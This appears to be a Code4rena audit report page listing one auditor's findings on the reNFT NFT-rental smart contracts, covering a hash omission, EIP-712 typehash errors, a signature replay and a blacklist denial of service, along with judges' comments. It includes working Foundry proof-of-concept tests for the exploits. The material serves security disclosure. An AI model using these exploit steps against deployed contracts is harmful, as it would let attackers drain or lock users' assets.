Platform: Code4rena
Start Date: 08/01/2024
Pot Size: $83,600 USDC
Total HM: 23
Participants: 116
Period: 10 days
Judge: 0xean
Total Solo HM: 1
Id: 317
League: ETH
Rank: 53/116
Findings: 4
Award: $79.38
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: JCN
Also found by: 0xDING99YA, 0xpiken, ABAIKUNANBAEV, AkshaySrivastav, Audinarey, Aymen0909, DanielArmstrong, J4X, Krace, KupiaSec, Qkite, Ward, evmboi32, fnanni, hash, juancito, kaden, krikolkk, ravikiranweb3, rbserver, rvierdiiev, serial-coder, trachev, zach, zzzitron
15.9479 USDC - $15.95
A malicious user can create an ERC1155 rental order, rent it themselves, and then repay the order using rental assets belonging to other renters. This could lead to affected orders being unable to be stopped:
lender
loses their ERC1155 assetlender
or renter
of affected order can not withdraw ERC20 token earningsThe rental process in reNFT
can simply be described as follows:
lender
create an rental order.renter
fulfills the rental order.Create#validateOrder()
will be executed to verify if the rental order is valid.Events.RentalOrderStarted()
will be emitted, providing information of order
.Stop#stopRent()
to stop it.order
will be used to check if order
is valid by calling Storage#removeRentals()
. All rental / payment assets will be settled once order
is valid.However, order.rentalWallet
was not included when calculating the hash of order
, allowing it to be changed to any address. If somehow two rental orders own same ERC1155 rental assets, one order can repayed with ERC1155 token in the other order.
Copy below codes to StopRent.t.sol
and run forge test --match-test test_stopRent_RepayBaseOrder_WithRentalAssetsFromOtherOrder
function test_stopRent_RepayBaseOrder_WithRentalAssetsFromOtherOrder() public { //@audit-info mint ERC1155 token to alice (tokenId: 0, amount 6e18) MockERC1155 gameToken = new MockERC1155(); gameToken.mint(alice.addr, 3e18+3); vm.prank(alice.addr); gameToken.setApprovalForAll(address(conduit), true); ProtocolAccount[] memory renters = new ProtocolAccount[](3); renters[0] = bob; renters[1] = carol; renters[2] = dan; RentalOrder[] memory rentalOrders = new RentalOrder[](3); // create 3 orders and fulfillments for (uint256 i = 0; i < 3; i++) { // create a BASE order createOrder({ offerer: alice, orderType: OrderType.BASE, erc721Offers: 0, erc1155Offers: 0, erc20Offers: 0, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 1 }); //@audit-info replace off items with ERC1155 rental asset OfferItem[] memory offers = new OfferItem[](1); offers[0] = OfferItem({ itemType: SeaportItemType.ERC1155, token: address(gameToken), identifierOrCriteria: 0, startAmount: 1e18+i, endAmount: 1e18+i }); withReplacedOfferItems(offers); // finalize the order creation ( Order memory order, bytes32 orderHash, OrderMetadata memory metadata ) = finalizeOrder(); // create an order fulfillment createOrderFulfillment({ _fulfiller: renters[i], order: order, orderHash: orderHash, metadata: metadata }); rentalOrders[i] = finalizeBaseOrderFulfillment(); //@audit-info check if ERC1155 token has been transferred to rentalWallet assertEq(gameToken.balanceOf(rentalOrders[i].rentalWallet, 0), 1e18+i); } // speed up in time past the rental expiration vm.warp(block.timestamp + 750); address rentalWalletOfBob = rentalOrders[0].rentalWallet; //@audit-info stop bob's rental order with carol's reantalWallet. rentalOrders[0].rentalWallet = rentalOrders[1].rentalWallet; stop.stopRent(rentalOrders[0]); //@audit-info bob's rental order is stoped assertFalse(STORE.orders(create.getRentalOrderHash(rentalOrders[0]))); //@audit-info however, bob still keep rental asset in his reantalWallet assertEq(gameToken.balanceOf(rentalWalletOfBob, 0), 1e18); //@audit-info carol lost almost all rental asset assertEq(gameToken.balanceOf(rentalOrders[1].rentalWallet, 0), 1); //@audit-info there is no way to stop bob's rental order since it has been stoped rentalOrders[0].rentalWallet = rentalWalletOfBob; vm.expectRevert(abi.encodeWithSelector(Errors.StorageModule_OrderDoesNotExist.selector, create.getRentalOrderHash(rentalOrders[0]))); stop.stopRent(rentalOrders[0]); //@audit-info there is no way to stop carol's rental order since the rental asset is insufficient vm.expectRevert(Errors.StopPolicy_ReclaimFailed.selector); stop.stopRent(rentalOrders[1]); }
Manual review
order.rentalWallet
must be included when calculating the hash of order
:
function _deriveRentalOrderHash( RentalOrder memory order ) internal view returns (bytes32) { // Create arrays for items and hooks. bytes32[] memory itemHashes = new bytes32[](order.items.length); bytes32[] memory hookHashes = new bytes32[](order.hooks.length); // Iterate over each item. for (uint256 i = 0; i < order.items.length; ++i) { // Hash the item. itemHashes[i] = _deriveItemHash(order.items[i]); } // Iterate over each hook. for (uint256 i = 0; i < order.hooks.length; ++i) { // Hash the hook. hookHashes[i] = _deriveHookHash(order.hooks[i]); } return keccak256( abi.encode( _RENTAL_ORDER_TYPEHASH, order.seaportOrderHash, keccak256(abi.encodePacked(itemHashes)), keccak256(abi.encodePacked(hookHashes)), order.orderType, order.lender, order.renter, + order.rentalWallet, order.startTimestamp, order.endTimestamp ) ); }
Other
#0 - c4-pre-sort
2024-01-21T17:56:03Z
141345 marked the issue as duplicate of #239
#1 - c4-judge
2024-01-28T20:50:03Z
0xean changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-01-28T21:05:42Z
0xean marked the issue as satisfactory
#3 - c4-judge
2024-01-30T11:31:12Z
0xean marked the issue as not a duplicate
#4 - c4-judge
2024-01-30T11:31:20Z
0xean marked the issue as duplicate of #385
#5 - c4-judge
2024-01-30T14:24:45Z
0xean changed the severity to 3 (High Risk)
🌟 Selected for report: BI_security
Also found by: 0xPsuedoPandit, 0xpiken, ABAIKUNANBAEV, Beepidibop, CipherSleuths, EV_om, Giorgio, Hajime, J4X, KingNFT, KupiaSec, NentoR, SBSecurity, SpicyMeatball, Tendency, Ward, ZdravkoHr, boringslav, deepplus, hals, hash, haxatron, jasonxiale, juancito, pkqs90, plasmablocks, ravikiranweb3, rokinot, rvierdiiev, trachev, zaevlad, zzebra83
1.8029 USDC - $1.80
Due to missing of orderType
and emittedExtraData
in calculation, the metadata hash is not EIP-712 compliant.
Moreover, altering orderType
and emittedExtraData
can still pass signature verification, this may cause new risk.
In Signer.sol, _ORDER_METADATA_TYPEHASH
is initialized in constructor()
:
( _ITEM_TYPEHASH, _HOOK_TYPEHASH, _RENTAL_ORDER_TYPEHASH, _ORDER_FULFILLMENT_TYPEHASH, @> _ORDER_METADATA_TYPEHASH, _RENT_PAYLOAD_TYPEHASH ) = _deriveRentalTypehashes();
The value is calculated in _deriveRentalTypehashes()
:
384: // Construct the OrderMetadata type string. 385: bytes memory orderMetadataTypeString = abi.encodePacked( 386: "OrderMetadata(uint8 orderType,uint256 rentDuration,Hook[] hooks,bytes emittedExtraData)" 387: );
405: // Derive the OrderMetadata type hash using the corresponding type string. 406: orderMetadataTypeHash = keccak256(orderMetadataTypeString);
From above codes we can see that orderType
and emittedExtraData
are included in EIP-712 typehash of OrderMetadata
. However, either orderType
or emittedExtraData
is involved in the metadata
hash calculation:
function _deriveOrderMetadataHash( OrderMetadata memory metadata ) internal view returns (bytes32) { // Create array for hooks. bytes32[] memory hookHashes = new bytes32[](metadata.hooks.length); // Iterate over each hook. for (uint256 i = 0; i < metadata.hooks.length; ++i) { // Hash the hook hookHashes[i] = _deriveHookHash(metadata.hooks[i]); } // Derive and return the metadata hash as specified by EIP-712. return @> keccak256( @> abi.encode( @> _ORDER_METADATA_TYPEHASH, @> metadata.rentDuration, @> keccak256(abi.encodePacked(hookHashes)) @> ) @> ); }
Furthermore, _deriveOrderMetadataHash()
is used during payload signature verification in Create#validateOrder()
:
address signer = _recoverSignerFromPayload( _deriveRentPayloadHash(payload), signature );
function _deriveRentPayloadHash( RentPayload memory payload ) internal view returns (bytes32) { // Derive and return the rent payload hash as specified by EIP-712. return keccak256( abi.encode( _RENT_PAYLOAD_TYPEHASH, _deriveOrderFulfillmentHash(payload.fulfillment), _deriveOrderMetadataHash(payload.metadata), payload.expiration, payload.intendedFulfiller ) ); }
As the signature verification doesn't encompass orderType
and emittedExtraData
, any modifications to them will not impact the verification outcome.
Manual review
orderType
and emittedExtraData
should be included in metadata hash calculation:
function _deriveOrderMetadataHash( OrderMetadata memory metadata ) internal view returns (bytes32) { // Create array for hooks. bytes32[] memory hookHashes = new bytes32[](metadata.hooks.length); // Iterate over each hook. for (uint256 i = 0; i < metadata.hooks.length; ++i) { // Hash the hook hookHashes[i] = _deriveHookHash(metadata.hooks[i]); } // Derive and return the metadata hash as specified by EIP-712. return keccak256( abi.encode( _ORDER_METADATA_TYPEHASH, + metadata.orderType, metadata.rentDuration, - keccak256(abi.encodePacked(hookHashes)) + keccak256(abi.encodePacked(hookHashes)), + metadata.emittedExtraData ) ); }
Other
#0 - c4-pre-sort
2024-01-21T17:51:22Z
141345 marked the issue as duplicate of #239
#1 - c4-judge
2024-01-28T21:06:10Z
0xean marked the issue as satisfactory
🌟 Selected for report: BI_security
Also found by: 0xPsuedoPandit, 0xpiken, ABAIKUNANBAEV, Beepidibop, CipherSleuths, EV_om, Giorgio, Hajime, J4X, KingNFT, KupiaSec, NentoR, SBSecurity, SpicyMeatball, Tendency, Ward, ZdravkoHr, boringslav, deepplus, hals, hash, haxatron, jasonxiale, juancito, pkqs90, plasmablocks, ravikiranweb3, rokinot, rvierdiiev, trachev, zaevlad, zzebra83
1.8029 USDC - $1.80
https://github.com/code-423n4/2023-09-venus/blob/main/contracts/Tokens/Prime/Prime.sol#L348-L358
Due to the use of non EIP-712 compliant typehashes, the signature verification will fail.
[EIP-712] defines hashStruct
as below:
Definition of
hashStruct
ThehashStruct
function is defined ashashStruct(s : 𝕊) = keccak256(typeHash ‖ encodeData(s))
wheretypeHash = keccak256(encodeType(typeOf(s)))
Note: ThetypeHash
is a constant for a given struct type and does not need to be runtime computed. Definition ofencodeType
The type of a struct is encoded asname ‖ "(" ‖ member₁ ‖ "," ‖ member₂ ‖ "," ‖ … ‖ memberₙ ")"
where each member is written astype ‖ " " ‖ name
. For example, the aboveMail(address from,address to,string contents)
. If the struct type references other struct types (and these in turn reference even more struct types), then the set of referenced struct types is collected, sorted by name and appended to the encoding. An example encoding isTransaction(Person from,Person to,Asset tx)Asset(address token,uint256 amount)Person(address wallet,string name)
.
However, some of typehashs don't follow above rules:
Hook
struct was not included when calculating orderMetadataTypeHash
:
orderMetadataTypeHash = keccak256(orderMetadataTypeString);
bytes memory orderMetadataTypeString = abi.encodePacked( "OrderMetadata(uint8 orderType,uint256 rentDuration,Hook[] hooks,bytes emittedExtraData)" );
Hook
struct was not included when calculating rentPayloadTypeHash
, and the order of orderMetadataTypeString
and orderFulfillmentTypeString
was wrong:
{ // Construct the OrderFulfillment type string. bytes memory orderFulfillmentTypeString = abi.encodePacked( "OrderFulfillment(address recipient)" ); // Construct the OrderMetadata type string. bytes memory orderMetadataTypeString = abi.encodePacked( "OrderMetadata(uint8 orderType,uint256 rentDuration,Hook[] hooks,bytes emittedExtraData)" ); // Construct the RentPayload type string. bytes memory rentPayloadTypeString = abi.encodePacked( "RentPayload(OrderFulfillment fulfillment,OrderMetadata metadata,uint256 expiration,address intendedFulfiller)" ); // Derive RentPayload type hash via combination of relevant type strings. rentPayloadTypeHash = keccak256( abi.encodePacked( rentPayloadTypeString, orderMetadataTypeString, orderFulfillmentTypeString ) );
Manual review
Any typehash must be EIP-712 compliant.
Change orderMetadataTypeHash
calculation as below:
- orderMetadataTypeHash = keccak256(orderMetadataTypeString); + orderMetadataTypeHash = keccak256(abi.encodePacked(orderMetadataTypeString, hookTypeString));
Change rentPayloadTypeHash
calculation as below (referenced struct types should be sorted by name):
rentPayloadTypeHash = keccak256( abi.encodePacked( rentPayloadTypeString, + hookTypeString, + orderFulfillmentTypeString, + orderMetadataTypeString - orderMetadataTypeString, - orderFulfillmentTypeString ) );
Other
#0 - c4-pre-sort
2024-01-21T17:51:14Z
141345 marked the issue as duplicate of #239
#1 - c4-judge
2024-01-28T21:06:06Z
0xean marked the issue as satisfactory
58.9067 USDC - $58.91
A malicious user could potentially fulfill all PAY
orders that own the same value of zonehash
The rental process in reNFT
can simply be described as follows:
lender
create either BASE
or PAY
order, which includes a zoneHash
.renter
fulfills the rental order by providing certain items, including fulfiller
, payload
(a structured data of RentPayload
), and its corresponding signature.Create#validateOrder()
will be executed to verify if the rental order is valid:
payload
and its signature
from zoneParams.extraData
payload.expiration
and block.timestamp
payload
and its signature
and check if the signer is protocol signerzonehash
is equal to the derived hash of payload.metadata
Let's take a look at RentPayload
and its referenced structures:
struct RentPayload { OrderFulfillment fulfillment; OrderMetadata metadata; uint256 expiration; address intendedFulfiller; } struct OrderFulfillment { // Rental wallet address. address recipient; } struct OrderMetadata { // Type of order being created. OrderType orderType; // Duration of the rental in seconds. uint256 rentDuration; // Hooks that will act as middleware for the items in the order. Hook[] hooks; // Any extra data to be emitted upon order fulfillment. bytes emittedExtraData; }
By observing all items in Rentpayload
, it's obvious that there is no way to verify whether the signature of a payload
has been used or not. The signature verification can always be passed as long as it has not expired.
If multiple PAY
rental orders own the same metadata
, a user could potentially utilize their payload
and unexpired signature
to fulfill all these rental orders and acquire rental earnings. Since OrderMetadata
structure is very simple, the chance that two different orders own same metadata
could be high.
Update testcase test_stopRentBatch_payOrders_allDifferentLenders()
in StopRentBatch.t.sol
with below codes and run forge test --match-test test_stopRentBatch_payOrders_allDifferentLenders
:
function test_stopRentBatch_payOrders_allDifferentLenders() public { // create an array of offerers ProtocolAccount[] memory offerers = new ProtocolAccount[](3); offerers[0] = alice; offerers[1] = bob; offerers[2] = carol; // for each offerer, create an order and a fulfillment for (uint256 i = 0; i < offerers.length; i++) { // create a PAY order createOrder({ offerer: offerers[i], orderType: OrderType.PAY, erc721Offers: 1, erc1155Offers: 0, erc20Offers: 1, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 0 }); // finalize the pay order creation ( Order memory payOrder, bytes32 payOrderHash, OrderMetadata memory payOrderMetadata ) = finalizeOrder(); // create a PAYEE order. The fulfiller will be the offerer. createOrder({ offerer: dan, orderType: OrderType.PAYEE, erc721Offers: 0, erc1155Offers: 0, erc20Offers: 0, erc721Considerations: 1, erc1155Considerations: 0, erc20Considerations: 1 }); // finalize the pay order creation ( Order memory payeeOrder, bytes32 payeeOrderHash, OrderMetadata memory payeeOrderMetadata ) = finalizeOrder(); // create an order fulfillment for the pay order createOrderFulfillment({ _fulfiller: dan, order: payOrder, orderHash: payOrderHash, metadata: payOrderMetadata }); // create an order fulfillment for the payee order createOrderFulfillment({ _fulfiller: dan, order: payeeOrder, orderHash: payeeOrderHash, metadata: payeeOrderMetadata }); + console.logBytes(ordersToFulfill[i*2].advancedOrder.extraData); // add an amendment to include the seaport fulfillment structs withLinkedPayAndPayeeOrders({ payOrderIndex: (i * 2), payeeOrderIndex: (i * 2) + 1 }); } // finalize the order pay/payee order fulfillments RentalOrder[] memory rentalOrders = finalizePayOrdersFulfillment(); // pull out just the PAY orders RentalOrder[] memory payRentalOrders = new RentalOrder[](3); for (uint256 i = 0; i < rentalOrders.length; i++) { if (rentalOrders[i].orderType == OrderType.PAY) { payRentalOrders[i / 2] = rentalOrders[i]; } } // speed up in time past the rental expiration vm.warp(block.timestamp + 750); // renter stops the rental order vm.prank(dan.addr); stop.stopRentBatch(payRentalOrders); // for each rental order stopped, perform some assertions for (uint256 i = 0; i < payRentalOrders.length; i++) { // assert that the rental order doesnt exist in storage assertEq(STORE.orders(payRentalOrders[i].seaportOrderHash), false); // assert that the token is no longer rented out in storage assertEq( STORE.isRentedOut( payRentalOrders[i].rentalWallet, address(erc721s[0]), i ), false ); // assert that the ERC721 is back to its original owner assertEq(erc721s[0].ownerOf(i), address(offerers[i].addr)); // assert that each offerer made a payment assertEq(erc20s[0].balanceOf(offerers[i].addr), uint256(9900)); } // assert that the payments were pulled from the escrow contract assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0)); // assert that the fulfiller was paid for each order assertEq(erc20s[0].balanceOf(dan.addr), uint256(10300)); }
You may find out that all extraData
are same although the rental orders are created by different lenders.
Manual review
Introduces a field into RentPayload
to ensure every payload
unique. It is feasible using orderHash
of the rental order:
struct RentPayload { bytes32 orderHash; OrderFulfillment fulfillment; OrderMetadata metadata; uint256 expiration; address intendedFulfiller; }
Other
#0 - c4-pre-sort
2024-01-21T17:52:51Z
141345 marked the issue as duplicate of #179
#1 - c4-pre-sort
2024-01-21T17:53:42Z
141345 marked the issue as duplicate of #239
#2 - c4-judge
2024-01-28T20:50:03Z
0xean changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-01-28T21:06:00Z
0xean marked the issue as satisfactory
#4 - piken
2024-01-30T09:52:20Z
Hi @0xean , while #239 only points out EIP712 compliant problem, however #162 describes a serious signature replay attack, the root cause of #162 is lack of signature replay attack resistance instead of EIP712 compliance. I think it should not be marked as the dup of #239. Since user could have chance to fulfill all rental orders owning the same metadata and acquire rental earnings by simply replaying signature, it should be marked as High Severity.
Some other issues also describe this signature replay attack as well: #133, #179, #294, #442
#5 - evmboi32
2024-01-30T23:10:38Z
@0xean yeah I agree also issue #370 describes a signature replay attack that is different from #239 as described by the @piken
#6 - c4-pre-sort
2024-02-02T08:39:17Z
141345 marked the issue as not a duplicate
#7 - c4-pre-sort
2024-02-02T08:39:20Z
141345 marked the issue as primary issue
#8 - c4-pre-sort
2024-02-02T08:41:00Z
141345 marked the issue as sufficient quality report
#9 - c4-judge
2024-02-02T11:04:12Z
0xean marked the issue as selected for report
#10 - 0xean
2024-02-02T11:05:35Z
@Alec1017 - this batch of issues has been removed as a duplicate of #239 so would be good for you to review prior to finalizing.
🌟 Selected for report: stackachu
Also found by: 0xHelium, 0xabhay, 0xc695, 0xpiken, DeFiHackLabs, EV_om, HSP, J4X, Krace, KupiaSec, Qkite, ZanyBonzy, albertwh1te, cccz, evmboi32, hals, hash, holydevoti0n, krikolkk, ladboy233, lanrebayode77, marqymarq10, oakcobalt, peanuts, peter, rbserver, said, serial-coder, sin1st3r__
2.7205 USDC - $2.72
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L293 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L296
lender
of a BASE
order can not stop the order, and all their rental assets and earning tokens could be locked in the protocol foreverlender
of a PAY
order can not terminate the order as their wish, and their rental assets could be locked in the protocol foreverrenter
of a PAY
order can not stop the order, and their earning are locked in the protocol foreverIn the most serious scenario, a user blacklisted by a specific ERC20 token might exploit the opportunity to fulfill any PAY order, locking the rental assets in the protocol forever.
Once a rental order is created, eligible user has right to terminate the order by calling stopRent()
or stopRentBatch()
:
BASE
order
lender
. Payment assets are paid to lender
.PAY
order
lender
. Payment assets are paid to renter
.lender
can stop it. Rental assets are returned to lender
. Payment assets are distributed to renter
in proportion to the elapsed rental time. The rest are returned to lender
.However, since the PUSH
way is used to transfer all assets, stopRent()
or stopRentBatch()
could encounter failures under various circumstances:
lender
is blacklisted by one of payment assets:
BASE
order. All lender's rental assets and earnings are locked forever.(An example of ERC20 asset with blacklist function: USDC)lender
can not terminate PAY
order in advance. All payment assets have to be paid to renter
after rental time expired.lender
is blacklisted by one of payment assets:
BASE
order. All lender's rental assets and earings are locked forever.PAY
order. All rental assets and renter's earnings are locked in the protocol forever.BASE
order. All lender's rental assets and earnings are locked in the protocol. The order can only be stoped when the paused asset is unpaused.lender
can not stop PAY
order before it is expired. lender
have to pay renter
more that expected until the paused asset is unpaused.renter
is blacklisted by one of payment assets:
PAY
order. All rental assets and renter's earnings are locked in the protocol forever.Copy below codes to StopRent.t.sol
and run forge test --match-test test_StopRent_PayOrder_InFull_StoppedByLender_RenterIsBlacklisted --fork-url ETHEREUM_RPC_URL
(Replace ETHEREUM_RPC_URL
with valid ethereum mainnet rpc url):
function test_StopRent_PayOrder_InFull_StoppedByLender_RenterIsBlacklisted() public { //@audit-info USDC address on etherum mainnet address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address whale = 0x28C6c06298d514Db089934071355E5743bf21d60; //@audit-info blacklister of USDC address blacklister = 0x10DF6B6fe66dd319B1f82BaB2d054cbb61cdAD2e; //@audit-info set erc20s[0] to USDC erc20s[0] = MockERC20(USDC); //@audit-info deposit 100 USDC to alice vm.prank(whale); erc20s[0].transfer(alice.addr, 100); vm.prank(alice.addr); erc20s[0].approve(address(conduit), type(uint256).max); //@audit-info blacklist bob by calling USDC.blacklist(bob) vm.prank(blacklister); (bool success, ) = USDC.call(abi.encodeWithSignature("blacklist(address)", bob.addr)); assert(success); // create a PAY order createOrder({ offerer: alice, orderType: OrderType.PAY, erc721Offers: 1, erc1155Offers: 0, erc20Offers: 1, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 0 }); // finalize the pay order creation ( Order memory payOrder, bytes32 payOrderHash, OrderMetadata memory payOrderMetadata ) = finalizeOrder(); // create a PAYEE order. The fulfiller will be the offerer. createOrder({ offerer: bob, orderType: OrderType.PAYEE, erc721Offers: 0, erc1155Offers: 0, erc20Offers: 0, erc721Considerations: 1, erc1155Considerations: 0, erc20Considerations: 1 }); // finalize the pay order creation ( Order memory payeeOrder, bytes32 payeeOrderHash, OrderMetadata memory payeeOrderMetadata ) = finalizeOrder(); // create an order fulfillment for the pay order createOrderFulfillment({ _fulfiller: bob, order: payOrder, orderHash: payOrderHash, metadata: payOrderMetadata }); // create an order fulfillment for the payee order createOrderFulfillment({ _fulfiller: bob, order: payeeOrder, orderHash: payeeOrderHash, metadata: payeeOrderMetadata }); // add an amendment to include the seaport fulfillment structs withLinkedPayAndPayeeOrders({payOrderIndex: 0, payeeOrderIndex: 1}); // finalize the order pay/payee order fulfillment (RentalOrder memory payRentalOrder, ) = finalizePayOrderFulfillment(); // speed up in time past the rental expiration vm.warp(block.timestamp + 750); //@audit-info alice can not stop the order due to bob is blacklisted, resulting the rental asset locked in the protocol vm.expectRevert(); vm.prank(alice.addr); stop.stopRent(payRentalOrder); //@audit-info un-blacklist bob by calling USDC.unBlacklist(bob) vm.prank(blacklister); (success, ) = USDC.call(abi.encodeWithSignature("unBlacklist(address)", bob.addr)); assert(success); //@audit-info alice can only stop the rental order when bob is un-blacklisted. vm.prank(alice.addr); stop.stopRent(payRentalOrder); // get the rental order hashes bytes32 payRentalOrderHash = create.getRentalOrderHash(payRentalOrder); // assert that the rental order doesnt exist in storage assertEq(STORE.orders(payRentalOrderHash), false); // assert that the token is no longer rented out in storage assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), false); // assert that the ERC721 is back to its original owner assertEq(erc721s[0].ownerOf(0), address(alice.addr)); // assert that the offerer made a payment assertEq(erc20s[0].balanceOf(alice.addr), uint256(0)); // assert that the fulfiller received the payment assertEq(erc20s[0].balanceOf(bob.addr), uint256(100)); // assert that a payment was pulled from the escrow contract assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(0)); }
Manual review
DoS
#0 - c4-pre-sort
2024-01-21T17:36:41Z
141345 marked the issue as duplicate of #64
#1 - c4-judge
2024-01-28T20:49:24Z
0xean changed the severity to 2 (Med Risk)
#2 - c4-judge
2024-01-28T21:01:42Z
0xean marked the issue as satisfactory